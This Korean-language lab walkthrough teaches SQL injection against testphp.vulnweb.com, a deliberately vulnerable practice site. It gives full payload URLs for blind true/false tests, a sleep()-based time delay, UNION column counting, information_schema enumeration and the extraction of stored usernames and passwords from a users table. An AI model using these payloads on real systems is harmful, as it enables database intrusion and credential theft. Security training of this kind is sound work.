실습설명
http://testphp.vulnweb.com 사이트(WEB-MySQL)를 대상으로 테스트를 해보자.
실습시작
특수문자 삽입(')을 통해 에러 유출 유무 확인
예외
(ㄱ) 특수 문자등이 차단되거나
(ㄴ) 에러가 발생되지 않는 경우는
error-based 공격기법으로 정보를 알아낼수 없다.
따라서 Blind 타입 공격을 통해 취약점을 확인해야 한다.
(ㄱ) 첫번째는 원래 URL 정보이며, 정상적인 쿼리 결과를 제공한다.
(ㄴ) 두번째는 거짓조건 and 1=0을 삽입한 경우, 쿼리가 수행되지 않기 때문에 화면에 정보가 출력되지 않는다.
(ㄷ) 세번째는 참조건인 and 1=1을 삽입한 경우, 쿼리가 수행되어 결과가 출력된다.
(첫번째) 원래 URL 정보 입력(정상적인 쿼리 결과 제공)

(두번째) 거짓조건 and 1=0을 삽입한 경우(쿼리가 수행되지 않기 때문에 화면에 정보가 출력 X)
(세번째) 참조건인 and 1=1을 삽입한 경우(쿼리가 수행되어 결과가 출력)
에러가 발생되지 않는 사이트에 대해서 사용할 수 있는 다른 기법으로 time delay SQL Injection을 진행할 수도 있다.
time delay는 특정 시간만큼 쿼리 결과를 늦게 출력되도록 만드는 명령어이다.
만약 5초 이후에 쿼리 결과를 확인할 수 있다면 취약점이 있다고 판단할 수 있다.
[참고] DBMS 별 time delay 명령어
MS SQL : waitfor delay
MySQL : 4버전에서는 benchmark(), 5버전에서는 sleep()
Oracle : BEGIN DBMS_LOCK.SLEEP(5); END
해당 쿼리 삽입 후 5초 후에 쿼리 결과가 보인다면 sleep() 함수 사용이 가능하다는 것을 짐작할 수 있기 때문에 데이터 베이스가 MySQL이라고 추측할 수 있다.
아래와 같이 입력하면 5초뒤에 페이지가 보인다는 것을 확인할 수 있다.
http://testphp.vulnweb.com/listproducts.php?cat=1 and sleep(5)
union 쿼리를 사용하기 위해 필드 개수를 확인
(NULL 1일때) 에러 발생
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL
(NULL 2개일때) 에러 발생
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL
(NULL 3개일때) 에러 발생
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL
(NULL 4개일때) 에러 발생
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL
(NULL 5개일때) 에러 발생
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL
(NULL 6개일때) 에러 발생
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL
(NULL 7개일때) 에러 발생
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL
(NULL 8개일때) 에러 발생
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
(NULL 9개일때) 에러 발생
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
(NULL 10개일때) 에러 발생
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
(NULL 11개일때) 에러 없음
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
11개의 Null 패턴 사용시 에러가 발생하지 않았기 때문에 해당 테이블의 필드는 11개로 추정
데이터베이스 계정 추출(사용자 정보)하기
11개의 필드 확인
null 필드 대신 user() 함수를 넣는다.
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, user(), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#

계정 정보가 보인다.
다른 방법을 통해 정보를 확인해 본다.
NULL 패턴 대신, 일련 번호 1부터 11까지 대입해 본다.

11개의 필드 중 숫자가 표시되는 필드만 사용이 가능하다는 것을 명심하자! (11, 7, 2, 9)만 가능!
http://testphp.vulnweb.com/listproducts.php?cat=1%20and%201=0%20UNION%20ALL%20SELECT%201,2,3,4,5,6,version(),8,9,10,user()#

11번과 7번필드에 각각 user 함수와 version 함수를 사용하여 알아낸 모습
사용자 계정과 암호를 확인하기
사용자 계정과 암호가 들어 있을만한 테이블과 필드를 찾는다.
테이블 정보가 포함된 information_schema.tables를 사용하고 필드는 table_name, where 조건절에는 현재 데이터베이스를 선택한다.
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select 1, group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()#

출력 결과 "artists,carts,categ,featured,guestbook,pictures,products,users" 중 users 테이블
에 사용자 정보가 들어 있을 가능성이 높다.
컬럼 정보(column_name)를 가지고 있는 information_schema.columns을 from 절에서 사용하고, where 조건절에는 users 테이블을 넣어서 실행한다.
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select 1, group_concat(column_name),3,4,5,6,7,8,9,10,11 from information_schema.columns where table_name='users'#

출력된 정보 중 사용자 이름은 uname 필드에 암호는 pass 필드에 들어 있을 것으로 추정된다.
사용자 계정을 포함하고 있을 것으로 추정되는 uname을 select 한다.

사용자 계정이 'test'라는 것을 확인했다.
http://testphp.vulnweb.com/listproducts.php?cat=1%20and%201=0%20union%20select%201,%20uname,3,4,5,6,7,8,pass,10,11%20from%20users#
사용자 계정 : test
패스워드 : test
임을 확인 했다.